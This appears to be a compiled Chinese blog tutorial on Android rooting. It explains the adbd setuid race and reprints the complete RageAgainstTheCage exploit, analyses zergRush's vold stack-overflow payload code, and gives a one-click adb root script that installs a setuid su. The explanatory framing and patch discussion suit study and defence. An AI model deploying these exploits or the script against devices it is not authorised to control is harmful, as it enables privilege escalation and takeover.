三、ratc一直建立子進程(ratc建立的子程序也將會運行在shell用戶權限下),緊接着子程序退出,造成殭屍進程,佔用shell用戶的進程資源,直到到達shell用戶的進程數爲RLIMIT_NPROC的時候(包括adbd、ratc及其子程序),這是ratc將會建立子進程失敗。這時候殺掉adbd,adbd進程由於是Android系統服務,將會被Android系統自動重啓,這時候ratc也在競爭產生子程序。在adbd程序執行上面setgid和setuid以前,ratc已經建立了一個新的子進程,那麼shell用戶的進程限額已經達到,則adbd進程執行setgid和setuid將會失敗。根據代碼咱們發現失敗以後adbd將會繼續執行。這樣adbd進程將會運行在root權限下面了。
這時從新用adb鏈接設備,則adb將會運行在root權限下面了。
經過上面的介紹咱們發現利用RageAgainstTheCage漏洞,可使adbd得到root權限,也就是adb得到了root權限。拿到root權限剩下的問題就好辦了,複製破解以後的su程序到系統中,都是沒有什麼技術含量的事情了。
其實堵住adbd的這個漏洞其實也挺簡單的,新版本已經加兩個這個補丁。
1:/* then switch user and group to "shell" */
2:if (setgid(AID_SHELL) != 0) {
3: exit(1);
4: }
5:if (setuid(AID_SHELL) != 0) {
6: exit(1);
7: }
若是發現setgid和setuid函數執行失敗,則adbd進程異常退出,就把這個漏洞給堵上了。
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c
/* android 1.x/2.x adb setuid() root exploit
* (C) 2010 The Android Exploid Crew
*
* Needs to be executed via adb -d shell. It may take a while until
* all process slots are filled and the adb connection is reset.
*
* !!!This is PoC code for educational purposes only!!!
* If you run it, it might crash your device and make it unusable!
* So you use it at your own risk!
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
void die(const char *msg)
{
perror(msg);
exit(errno);
}
pid_t find_adb()
{
char buf[256];
int i = 0, fd = 0;
pid_t found = 0;
for (i = 0; i < 32000; ++i) {
sprintf(buf, "/proc/%d/cmdline", i);
if ((fd = open(buf, O_RDONLY)) < 0)
continue;
memset(buf, 0, sizeof(buf));
read(fd, buf, sizeof(buf) - 1);
close(fd);
if (strstr(buf, "/sbin/adb")) {
found = i;
break;
}
}
return found;
}
void restart_adb(pid_t pid)
{
kill(pid, 9);
}
void wait_for_root_adb(pid_t old_adb)
{
pid_t p = 0;
for (;;) {
p = find_adb();
if (p != 0 && p != old_adb)
break;
sleep(1);
}
sleep(5);
kill(-1, 9);
}
int main(int argc, char **argv)
{
pid_t adb_pid = 0, p;
int pids = 0, new_pids = 1;
int pepe[2];
char c = 0;
struct rlimit rl;
printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
printf("[*] checking NPROC limit ...\n");
if (getrlimit(RLIMIT_NPROC, &rl) < 0)
die("[-] getrlimit");
if (rl.rlim_cur == RLIM_INFINITY) {
printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
exit(1);
}
printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
printf("[*] Searching for adb ...\n");
adb_pid = find_adb();
if (!adb_pid)
die("[-] Cannot find adb");
printf("[+] Found adb as PID %d\n", adb_pid);
printf("[*] Spawning children. Dont type anything and wait for reset!\n");
printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
"[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
"[*] If you are a company and feel like you profit from our work,\n"
"[*] we also accept donations > 1000 USD!\n");
printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");
sleep(5);
if (fork() > 0)
exit(0);
setsid();
pipe(pepe);
/* generate many (zombie) shell-user processes so restarting
* adb's setuid() will fail.
* The whole thing is a bit racy, since when we kill adb
* there is one more process slot left which we need to
* fill before adb reaches setuid(). Thats why we fork-bomb
* in a seprate process.
*/
if (fork() == 0) {
close(pepe[0]);
for (;;) {
if ((p = fork()) == 0) {
exit(0);
} else if (p < 0) {
if (new_pids) {
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
write(pepe[1], &c, 1);
close(pepe[1]);
}
} else {
++pids;
}
}
}
close(pepe[1]);
read(pepe[0], &c, 1);
restart_adb(adb_pid);
if (fork() == 0) {
fork();
for (;;)
sleep(0x743C);
}
wait_for_root_adb(adb_pid);
return 0;
}
在Android系統中,系統爲每個應用程序(apk)建立了一個用戶和組。這個用戶和組都是受限用戶,不能訪問系統的數據,只能訪問本身的文件和目錄,固然它也不能訪問其餘應用程序的數據。這樣設計能夠儘量地保護應用程序的私有數據,加強系統的安全性和健壯性。
可是有一些應用程序是須要訪問一些系統資源的。好比Setting程序,它須要訪問WiFi,在系統中建立刪除文件等等操做。怎樣作到這一點兒呢?Android經過必定途徑能夠得到system權限。得到system用戶權限,須要如下步驟:
1. 在應用程序的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。
2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform這一行
3. 使用mm命令來編譯,生成的apk就有修改系統時間的權限了。
通常狀況下system用戶能夠在系統中建立和刪除文件,訪問設備等等。可是有些狀況下system權限仍是不夠的。好比:設置網卡IP地址,ifconfig命令是須要root權限的。我能夠很確定的說,在Android下面應用程序是沒有可能拿到root權限的。可是若是個人應用程序須要root權限怎麼辦呢?只能想辦法繞般過去。就以個人問題爲例,設置網卡IP地址,root權限下面命令爲:
ifconfig eth0 192.168.1.188
在普通用戶或者system用戶權限下面這條命令是不起做用的,可是不會返回失敗和異常,那麼怎樣實現這個功能呢。
一、系統啓動的時候init進程建立一個後臺進程,該進程處於root用戶權限下面。用來監聽系統中應用程序的請求(能夠用socket實現),並代其完成。這樣應用程序就能夠執行root用戶權限的任務了。
二、實現一個虛擬的設備,該設備的功能就是在內核態幫應用程序執行相應的命令。Linux內核態沒有權限的問題了。確定能夠執行成功。
解決設置網卡IP地址問題時,選擇是後者相對來講設計比較簡單
發佈於:想在android應用程序中動態mount一個NFS的系統,可是執行mount命令必需要root權限才能夠。通常狀況下,在Android的APK層是不能得到root權限的。
上一節提到實現由init啓動的Service,來幫助Android應用程序執行root權限的命令或者實現一個虛擬設備,這個設備幫助Android應用程序執行root權限的命令。
本文將會選擇第一種來解決Android應用程序mount NFS文件系統的問題。
Init.rc Service
在Android系統init.rc中定義不少Service,Init.rc中定義的Service將會被Init進程建立,這樣將能夠得到root權限。
設置系統屬性「ctl.start」,把「ctl.start」設置爲你要運行的Service,假設爲「xxx」,Android系統將會幫你運行「ctl.start」系統屬性中指定的Service。那麼運行結果init進程會寫入命名爲「init.svc.+xxx」的系統屬性中,應用程序能夠參考查閱這個值來肯定Service xxx執行的狀況。
Android系統屬性(property)權限
難道Android屬性「ctl.start」不是全部進程均可以設置的,見property_service.c中的源碼,設置Android系統屬性的函數爲handle_property_set_fd(),從源碼中能夠發現若是設置「ctl.」開頭的Android系統屬性,將會調用check_control_perms函數來檢查調用者的權限,只有root權限和system權限的應用程序才能夠修改「ctl.」開頭的Android系統屬性。不然將會檢查control_perms全局變量中的定義權限和Service。從代碼中能夠看到,任何不以property_perms[] 中定義的前綴開頭的property 是沒法被除root之外的用戶訪問的,包括system用戶。
實例
下面以上面提出的mount nfs文件系統爲例說明:
A.首先定義一個執行mount的腳本,我把它位於/system/etc/mount_nfs.sh,定義以下:
1: #!/system/bin/sh
2:
3: /system/bin/busybox mount -o rw,nolock -t nfs 192.168.1.6:/nfs_srv /data/mnt
不要忘了把它加上可執行權限。
B.在init.rc中加入一個Service定義,定義以下:
1: service mount_nfs /system/etc/mount_nfs.sh
2: oneshot
3: disabled
C.讓本身的應用程序得到system權限,方法見前面章節
D.在本身應用程序中設置System系統屬性「ctl.start」爲「mount_nfs」,這樣Android系統將會幫咱們運行mount_nfs系統屬性了。不可以調用System.getProperty,這個函數只是修改JVM中的系統屬性。只能調用android.os.SystemProperties,最終經過JNI調用C/C++層的API property_get和property_set函數。
SystemProperties.set("ctl.start","mount_nfs");
E.最後在本身應用程序中,讀取「init.svc.mount_nfs」Android系統Property,檢查執行結果。代碼以下:
1:while(true)
2: {
3: mount_rt = SystemProperties.get("init.svc.mount_nfs","");
4: if(mount_rt != null && mount_rt.equals("stopped"))
5: {
6: return true;
7: }
8:
9: try
10: {
11: Thread.sleep(1000);
12: }catch(Exception ex){
13: Log.e(TAG,"Exception: " + ex.getMessage());
14: }
15: }
init進程維護一個service的隊列,因此咱們須要輪訓來查詢service的執行結果。
1. 文件(夾)讀寫權限
init.rc 中創建test1 test2 test3文件夾
mkdir /data/misc/test1 0770 root root
mkdir /data/misc/test2 0770 wifi wifi
mkdir /data/misc/test3 0770 system misc
其中
test1 目錄的owner是root, group也是root
test2 目錄的owner是wifi , group也是wifi
test3 目錄的owner是system , group是misc (任何用戶都屬於group misc)
service xxxx /system/bin/xxxx
user root
disabled
oneshot
service yyyy /system/bin/yyyy
user system
disabled
oneshot
service zzzz /system/bin/zzzz
user wifi
disabled
oneshot
結果:
xxxx 服務能夠訪問 test1, test2, test3
yyyy 服務能夠訪問 test3
zzzz 服務能夠訪問 test2, test3
見android_filesystem_config.h中定義AID_ROOT AID_SYSTEM AID_MISC等宏定義的權限
360等特殊系統是否能夠考慮在AID_ROOT和AID_SYSTEM之間加一個權限和用戶,增長新的哦property給360用?
經過上面的這些步驟,Android應用程序就可以調用init.rc中定義的Service了。這樣你的Android應用程序也就得到了root權限。前提是Android系統開發人員,不然你沒法修改init.rc等文件,並且應用程序必需要得到system權限。
原理是利用了android的兩個提權漏洞: CVE-2010-EASY和 ZergRush。 我把大概原理簡單說說:
1, CVE-2010-EASY: linux的內核的模塊化程度很高,不少功能模塊是須要到時候再加載,在android中由init進程來管理這些的。可是這個init進程不會檢測發給它的指令的來源,無論是內核發送的,仍是用戶發送的,它都執行不誤,會順從的去加載或卸載一些模塊,而加載的模塊都是以root身份運行的。所以你能夠給它準備一個精心製做的功能模塊(ko文件),而後觸發相應的加載條件,好比熱拔插、開關wifi等等, 該功能模塊運行後,會生成 /data/local/tmp/rootshell 一個帶s位的shell。
2,ZergRush原理: 具備root權限的vold進程使用了libsysutils.so庫,該庫有個函數存在棧溢出,所以能夠root權限執行輸入的shellcode。
3. 還有個前面提到的adb提權漏洞,不夠新版本已經修正了。
扯了半天還沒扯到superuser.apk,這個程序是root成功後,專門用來管理root權限使用的,防止被惡意程序濫用。
源碼地址:
http://superuser.googlecode.com/svn/trunk
帶着兩個問題咱們來分析源碼:
一、superuser是怎麼知道誰想用root權限?
二、superuser是如何把用戶的選擇告訴su程序的那?
即superuser和su程序是如何通信的,他們倆位於不通的時空,一個在java虛擬機中,一個在linux的真實進程中。
共有兩個active: SuperuserActivity和 SuperuserRequestActivity。
其中SuperuserActivity主要是用來管理白名單的,就是記住哪一個程序已經被容許使用root權限了,省的每次用時都問用戶。
SuperuserRequestActivity 就是用來詢問用戶目前有個程序想使用root權限,是否容許,是否一直容許,即放入白名單。
這個白名單比較關鍵,是一個sqlite數據庫文件,位置:
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite
root的本質就是往 /system/bin/下放一個帶s位的,不檢查調用者權限的su文件。普通程序能夠調用該su來運行root權限的命令。superuser.apk中就自帶了一個這樣的su程序。一開始superuser會檢測/system/bin/su是否存在,是不是自個放進去的su:
File su = new File("/system/bin/su"); // 檢測su文件是否存在,若是不存在則直接返回 if (!su.exists()) { Toast toast = Toast.makeText(this, "Unable to find /system/bin/su.", Toast.LENGTH_LONG); toast.show(); return; } //檢測su文件的完整性,比較大小,太省事了吧 //若是大小同樣,則認爲su文件正確,直接返回了事。 if (su.length() == suStream.available()) { suStream.close(); return; } // 若是檢測到/system/bin/su 文件存在,可是不對頭,則把自帶的su先寫到"/data/data/com.koushikdutta.superuser/su" // 再寫到/system/bin/su。 byte[] bytes = new byte[suStream.available()]; DataInputStream dis = new DataInputStream(suStream); dis.readFully(bytes); FileOutputStream suOutStream = new FileOutputStream("/data/data/com.koushikdutta.superuser/su"); suOutStream.write(bytes); suOutStream.close(); Process process = Runtime.getRuntime().exec("su"); DataOutputStream os = new DataOutputStream(process.getOutputStream()); os.writeBytes("mount -oremount,rw /dev/block/mtdblock3 /system\n"); os.writeBytes("busybox cp /data/data/com.koushikdutta.superuser/su /system/bin/su\n"); os.writeBytes("busybox chown 0:0 /system/bin/su\n"); os.writeBytes("chmod 4755 /system/bin/su\n"); os.writeBytes("exit\n"); os.flush();
上面提到的su確定是動過手腳的,有進程使用root權限,superuser是怎麼知道的,看完su的代碼明白了,關鍵是句:
sprintf(sysCmd, "am start -a android.intent.action.MAIN
-n com.koushikdutta.superuser/com.koushikdutta.superuser.SuperuserRequestActivity
--ei uid %d --ei pid %d > /dev/null", g_puid, ppid);
if (system(sysCmd)) return executionFailure("am.");
原理是am命令,看了下am的用法,明白了:
在Android中,除了從界面上啓動程序以外,還能夠從命令行啓動程序,使用的是命令行工具am.啓動的方法爲
$ adb shell
$ su
# am start -n {包(package)名}/{包名}.{活動(activity)名稱}
程序的入口類能夠從每一個應用的AndroidManifest.xml的文件中獲得,以計算器(calculator)爲例,它的
<manifest xmlns:android="http://schemas.android.com/apk/res/android" …
package="com.android.calculator2" …>…
由此計算器(calculator)的啓動方法爲:
# am start -n com.android.calculator2/com.android.calculator2.Calculator
通常狀況但願,一個Android應用對應一個工程。值得注意的是,有一些工程具備多個活動(activity),而有一些應用使用一個工程。例如:在Android界面中,Music和Video是兩個應用,可是它們使用的都是packages/apps/Music這一個工程。而在這個工程的AndroidManifest.xml文件中,有包含了不一樣的活動(activity)。
Music 和 Video(音樂和視頻)的啓動方法爲:
# am start -n com.android.music/com.android.music.MusicBrowserActivity # am start -n com.android.music/com.android.music.VideoBrowserActivity # am start -n com.android.music/com.android.music.MediaPlaybackActivity
啓動瀏覽器 :
am start -a android.intent.action.VIEW -d http://www.google.cn/
撥打電話 :
am start -a android.intent.action.CALL -d tel:10086
啓動 google map直接定位到北京 :
am start -a android.intent.action.VIEW geo:0,0?q=beijing
usage: am [subcommand] [options]
start an Activity: am start [-D] [-W] <INTENT>
-D: enable debugging
-W: wait for launch to complete
start a Service: am startservice <INTENT>
send a broadcast Intent: am broadcast <INTENT>
start an Instrumentation: am instrument [flags] <COMPONENT>
-r: print raw results (otherwise decode REPORT_KEY_STREAMRESULT)
-e <NAME> <VALUE>: set argument <NAME> to <VALUE>
-p <FILE>: write profiling data to <FILE>
-w: wait for instrumentation to finish before returning
start profiling: am profile <PROCESS> start <FILE>
stop profiling: am profile <PROCESS> stop
<INTENT> specifications include these flags:
[-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
[-c <CATEGORY> [-c <CATEGORY>] ...]
[-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
[--esn <EXTRA_KEY> ...]
[--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
[-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
[-n <COMPONENT>] [-f <FLAGS>]
[--grant-read-uri-permission] [--grant-write-uri-permission]
[--debug-log-resolution]
[--activity-brought-to-front] [--activity-clear-top]
[--activity-clear-when-task-reset] [--activity-exclude-from-recents]
[--activity-launched-from-history] [--activity-multiple-task]
[--activity-no-animation] [--activity-no-history]
[--activity-no-user-action] [--activity-previous-is-top]
[--activity-reorder-to-front] [--activity-reset-task-if-needed]
[--activity-single-top]
[--receiver-registered-only] [--receiver-replace-pending]
[<URI>]
還有個疑點,就是su怎麼知道用戶是容許root權限仍是反對那?原來是上面提到的白名單起來做用,superuser把用戶的選擇放入 :
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite 數據庫中,而後su進程再去讀該數據庫來判斷是否容許。
static int checkWhitelist() { sqlite3 *db; int rc = sqlite3_open_v2(DBPATH, &db, SQLITE_OPEN_READWRITE, NULL); if (!rc) { char *errorMessage; char query[1024]; sprintf(query, "select * from whitelist where _id=%d limit 1;", g_puid); struct whitelistCallInfo callInfo; callInfo.count = 0; callInfo.db = db; rc = sqlite3_exec(db, query, whitelistCallback, &callInfo, &errorMessage); if (rc != SQLITE_OK) { sqlite3_close(db); return 0; } sqlite3_close(db); return callInfo.count; } sqlite3_close(db); return 0; }
轉自:http://blog.csdn.net/liujian885/archive/2010/03/22/5404834.aspx 在 android的API中有提供 SystemClock.setCurrentTimeMillis()函數來修改系統時間,惋惜不管你怎麼調用這個函數都是沒用的,不管模擬器仍是真機,在logcat中總會獲得"Unable to open alarm driver: Permission denied ".這個函數須要root權限或者運行與系統進程中才能夠用。原本覺得就沒有辦法在應用程序這一層改系統時間了,後來在網上搜了很久,知道這個目的仍是能夠達到的。 第一個方法簡單點,不過須要在Android系統源碼的環境下用make來編譯: 1. 在應用程序的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。 2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform這一行 3. 使用mm命令來編譯,生成的apk就有修改系統時間的權限了。 第二個方法麻煩點,不過不用開虛擬機跑到源碼環境下用make來編譯: 1. 同上,加入android:sharedUserId="android.uid.system"這個屬性。 2. 使用eclipse編譯出apk文件,可是這個apk文件是不能用的。 3. 使用目標系統的platform密鑰來從新給apk文件簽名。這步比較麻煩,首先找到密鑰文件,在個人Android源碼目錄中的位置是"build\target\product\security",下面的platform.pk8和platform.x509.pem兩個文件。而後用Android提供的Signapk工具來簽名,signapk的源代碼是在"build\tools\signapk"下,用法爲"signapk platform.x509.pem platform.pk8 input.apk output.apk",文件名最好使用絕對路徑防止找不到,也能夠修改源代碼直接使用。 這樣最後獲得的apk和第一個方法是同樣的。 最後解釋一下原理,首先加入android:sharedUserId="android.uid.system"這個屬性。經過Shared User id,擁有同一個User id的多個APK能夠配置成運行在同一個進程中。那麼把程序的UID配成android.uid.system,也就是要讓程序運行在系統進程中,這樣就有權限來修改系統時間了。 只是加入UID還不夠,若是這時候安裝APK的話發現沒法安裝,提示簽名不符,緣由是程序想要運行在系統進程中還要有目標系統的platform key,就是上面第二個方法提到的platform.pk8和platform.x509.pem兩個文件。用這兩個key簽名後apk才真正能夠放入系統進程中。第一個方法中加入LOCAL_CERTIFICATE := platform其實就是用這兩個key來簽名。 這也有一個問題,就是這樣生成的程序只有在原始的Android系統或者是本身編譯的系統中才能夠用,由於這樣的系統才能夠拿到platform.pk8和platform.x509.pem兩個文件。要是別家公司作的Android上連安裝都安裝不了。試試原始的Android中的key來簽名,程序在模擬器上運行OK,不過放到G3上安裝直接提示"Package ... has no signatures that match those in shared user android.uid.system",這樣也是保護了系統的安全。 最最後還說下,這個android:sharedUserId屬性不僅能夠把apk放到系統進程中,也能夠配置多個APK運行在一個進程中,這樣能夠共享數據,應該會頗有用的。
|
漏洞— zergRush
提權實現的代碼,見:
https://github.com/revolutionary/zergRush/blob/master/zergRush.c
須要瞭解一下是哪一個地方有問題,邊分析邊記錄這次過程。
文件不大,固然從 main 入手了,
if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
do_root();
明顯,當有了 Root 能力後去作一個能夠保持 Root 的動做,猜想,此程序會被調用屢次,而且再次調用的時候程序名稱爲 boomsh
看一下 do_root
寫了一個屬性 ro.kernel.qemu 爲 1
明顯是讓手機當成模擬器運行,見 \android2.32\system\core\adb\adb.c 中的代碼
1. /* run adbd in secure mode if ro.secure is set and
2. ** we are not in the emulator
3. */
4. property_get("ro.kernel.qemu", value, "");
5. if (strcmp(value, "1") != 0) {
6. property_get("ro.secure", value, "");
7. if (strcmp(value, "1") == 0) {
8. // don't run as root if ro.secure is set...
9. secure = 1;
10.
11. // ... except we allow running as root in userdebug builds if the
12. // service.adb.root property has been set by the "adb root" command
13. property_get("ro.debuggable", value, "");
14. if (strcmp(value, "1") == 0) {
15. property_get("service.adb.root", value, "");
16. if (strcmp(value, "1") == 0) {
17. secure = 0;
18. }
19. }
20. }
21. }
之後調用 adb 默認是 Root 用戶了。
下面又作了一件事把本身拷貝到 /data/local/tmp/boomsh
把 SH 拷貝到 /data/local/tmp/sh
改變 /data/local/tmp/boomsh 的權限爲 711 ,可執行了
而後獲取 /system/bin/vold 程序的大小,
經過 heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 這樣的一個計算,獲得該程序的堆地址, 有點意思了,對 vold 程序有了歪腦筋了
用過在手機上用 ps 看一下,這個程序有是從 root 用戶執行過來的。
而後獲取了一下手機的版本號,只對 2.2 2.3 二個版本進行處理,並修正了一上 heap_addr 的地址。
而後又找了一下 system 系統調用函數的地址,放到 system_ptr 中
繼續看 checkcrash()
>> 清除了一下 logcat 日誌
>> 刪除 /data/local/tmp/crashlog 文件
>> 簡立一個子進程,去生成一下 crashlog 文件。
>> 調用 do_fault
>> 打開 crashlog 文件
>> 在 crashlog 中找到崩潰信息,找到 sp 寄存器地址。
等等,爲何崩潰呢,確定是在 do_fault 中製造的,咱們要看看這塊了
這個函數比較亂,找找重點看
if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
不錯的信息,鏈接 vold ,又是它,之前據說過它有漏洞,此次仍是它。
write(sock, buf, n+1)
寫了一些信息,不知道什麼信息,可是能夠確定的是,能讓 vold 崩潰的信息。
下面回到 main 繼續!
一個 For 循環處理。
find_stack_addr 用了上面的相同方法,從崩潰信息中找到程序的棧地址,(至於怎麼計算的,之後再去研究了)
一些容錯檢查,略過!
kill(logcat_pid, SIGKILL);
unlink(crashlog);
find_rop_gadgets()
又一個陌生函數。看了,暫時看不出用途,貌似找點什麼,繼續!
下面就是再次調用 do_fault ,生成崩潰。
再次判斷 sh 是否有沒有 s 位, 若是有了,剛 ROOT 功了。
疑問來了,沒發現怎麼再次調用 boomsh 運行執行 do_root 啊。 順着它拷貝出來的 sh 文件找找,搜索 bsh 變理的使用狀況,發現以下地方:
1. static int do_fault()
2. {
3. char buf[255];
4. int sock = -1, n = 0, i;
5. char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
6. uint32_t bsh_addr;
7. char padding[128];
8. int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);
9.
10. memset(padding, 0, 128);
11. strcpy(padding, "LORDZZZZzzzz");
12. if(padding_sz > 0) {
13. memset(padding+12, 'Z', padding_sz);
14. printf("[*] Poping %d more zerglings\n", padding_sz);
15. }
16. else if(padding_sz < 0) {
17. memset(padding, 0, 128);
18. memset(padding, 'Z', 12+padding_sz);
19. }
20.
21. if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
22. die("[-] Error creating Nydus");
23.
24. sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
25. sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
26. sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
27. sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
28. sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);
29.
30. strcpy(buf, "ZERG");
31. strcat(buf, " ZZ ");
32. strcat(buf, s_stack_pivot_addr);
33. for(i=3; i < buffsz+1; i++)
34. strcat(buf, " ZZZZ");
35. strcat(buf, " ");
36. strcat(buf, s_heap_addr);
37.
38. n = strlen(buf);
39. bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
40.
41. if(check_addr(bsh_addr) == -1) {
42. printf("[-] Colossus, we're doomed!\n");
43. exit(-1);
44. }
45.
46. sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);
47.
48. <strong><span style="color:#ffffff;#ff0000">n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);</span></strong>
49.
50. printf("[*] Sending %d zerglings ...\n", n);
51.
52. if ((n = write(sock, buf, n+1)) < 0)
53. die("[-] Nydus seems broken");
54.
55. sleep(3);
56. close(sock);
57.
58. return n;
59. }
看到上面加色的行了,原來他是用 socket 寫的一個 shell code ,調用了他拷貝的 sh 程序。
在 vold 中執行 sh 確定是 root 啊。
至此,原理非常清楚了, shell code 嘛,運行的時候把他 dump 出來用別的工具看吧!
一鍵ROOT腳本
1.等待設備鏈接
adb wait-for-device
2.刪除文件
adb shell "cd /data/local/tmp/; rm *"
3.上傳zergRush並修改屬性去執行
adb push c:\zergRush /data/local/tmp/
adb shell "chmod 777 /data/local/tmp/zergRush"
adb shell "/data/local/tmp/zergRush"
adb wait-for-device
4.上傳busybox、給busybox文件執行權限,以能夠方式加載文件系統
adb push c:\busybox /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/busybox"
adb shell "/data/local/tmp/busybox mount -o remount,rw /system"
5.複製busybox,修改所在的組及設置s位
adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"
adb shell "chown root.shell /system/xbin/busybox"
adb shell "chmod 04755 /system/xbin/busybox"
6.安裝busybox並刪除臨時文件
adb shell "/system/xbin/busybox --install -s /system/xbin"
adb shell "rm -rf /data/local/tmp/busybox"
7.對su進行相似busybox的處理
adb push c:\fu /system/bin/su
adb shell "chown root.shell /system/bin/su"
adb shell "chmod 06755 /system/bin/su"
adb shell "rm /system/xbin/su"
adb shell "ln -s /system/bin/su /system/xbin/su"
8.安裝其它工具
adb push c:\superuser.apk /system/app/
adb shell "cd /data/local/tmp/; rm *"
adb reboot
adb wait-for-device
adb install c:\recovery.apk